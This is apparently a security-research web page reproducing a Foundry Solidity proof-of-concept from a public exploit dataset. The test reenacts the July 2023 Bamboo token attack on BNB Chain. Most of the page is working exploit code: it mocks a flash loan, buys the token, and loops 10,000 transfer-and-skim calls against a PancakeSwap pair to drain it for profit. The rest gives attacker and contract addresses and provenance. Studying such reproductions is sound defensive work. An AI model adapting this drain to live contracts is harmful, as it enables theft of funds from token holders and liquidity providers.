Skip to content
THREATWIRE

Public reproduction file

src/test/2023-07/Bamboo_exp.sol

Public reproduction file for dataset entry BambooIA.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-07/Bamboo_exp.sol84 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~200BNB
8// Attacker : 0x00703face6621bd207d3b4ac9867058190c0bb09
9// Attack Contract : 0xcdf0eb202cfd1f502f3fdca9006a4b5729aadebc
10// Vulnerable Contract : 0xed56784bc8f2c036f6b0d8e04cb83c253e4a6a94
11// Attack Tx : https://explorer.phalcon.xyz/tx/bsc/0x88a6c2c3ce86d4e0b1356861b749175884293f4302dbfdbfb16a5e373ab58a10
12// Block: 29668034
14// @Info
15// Vulnerable Contract Code : https://bscscan.com/address/0xed56784bc8f2c036f6b0d8e04cb83c253e4a6a94
17// @Analysis
18// Post-mortem : https://twitter.com/Phalcon_xyz/status/1676220090142916611
20// @POC Author : https://twitter.com/eugenioclrc
22contract BambooTest is Test {
23 IERC20 wbnb = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
24 IERC20 bamboo = IERC20(0xED56784bC8F2C036f6b0D8E04Cb83C253e4a6A94);
26 IPancakePair wbnbBambooPair = IPancakePair(0x0557713d02A15a69Dea5DD4116047e50F521C1b1);
27 IPancakeRouter router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
28 IUniswapV2Factory factory = IUniswapV2Factory(0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73);
30 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
32 function setUp() public {
33 cheats.createSelectFork("bsc", 29_668_034);
35 vm.label(address(wbnb), "WBNB");
36 vm.label(address(bamboo), "BAMBOO");
37 vm.label(address(router), "PancakeRouter");
38 }
40 function toEth(
41 uint256 _wei
42 ) internal returns (string memory) {
43 string memory eth = vm.toString(_wei / 1 ether);
44 string memory decs = vm.toString(_wei % 1 ether);
46 string memory result = string.concat(string.concat(eth, "."), decs);
48 return result;
49 }
51 function testExploit() public {
52 // get a flash loan (lets mock it out)
53 deal(address(wbnb), address(this), 4000 ether);
55 console.log("start balance after flashloan", toEth(wbnb.balanceOf(address(this))));
57 uint256 bambooBalance = bamboo.balanceOf(address(wbnbBambooPair));
59 address[] memory path;
60 path = new address[](2);
61 path[0] = address(wbnb);
62 path[1] = address(bamboo);
63 uint256[] memory amounts = router.getAmountsIn(bambooBalance * 9 / 10, path);
65 wbnb.approve(address(router), type(uint256).max);
66 router.swapExactTokensForTokens(amounts[1], 0, path, address(this), block.timestamp);
68 uint256 max = 10_000;
69 for (uint256 i; i < max; ++i) {
70 bamboo.transfer(address(wbnbBambooPair), 1_343_870_967_101_818_317);
71 wbnbBambooPair.skim(address(this));
72 }
74 path[0] = address(bamboo);
75 path[1] = address(wbnb);
76 bamboo.approve(address(router), type(uint256).max);
78 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
79 bamboo.balanceOf(address(this)), 0, path, address(this), block.timestamp
80 );
82 console.log("profit after return flashloan", toEth(wbnb.balanceOf(address(this)) - 4000 ether));
83 }

Analysis

Dataset entry

Public Foundry test for “BambooIA” (2023-07-04). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x00703face6621bd207d3b4ac9867058190c0bb09

  • Attack Contract

    0xcdf0eb202cfd1f502f3fdca9006a4b5729aadebc

  • Vulnerable Contract

    0xed56784bc8f2c036f6b0d8e04cb83c253e4a6a94

  • Attack Tx

    0x88a6c2c3ce86d4e0b1356861b749175884293f4302dbfdbfb16a5e373ab58a10

File record

Name
BambooIA
Path
src/test/2023-07/Bamboo_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
6d9bc10e0be82909bb514d9522a6ea634556244d
Language
Solidity
Size
85 lines
Date
2023-07-04
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-07/Bamboo_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 6d9bc10e0be82909bb514d9522a6ea634556244d, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.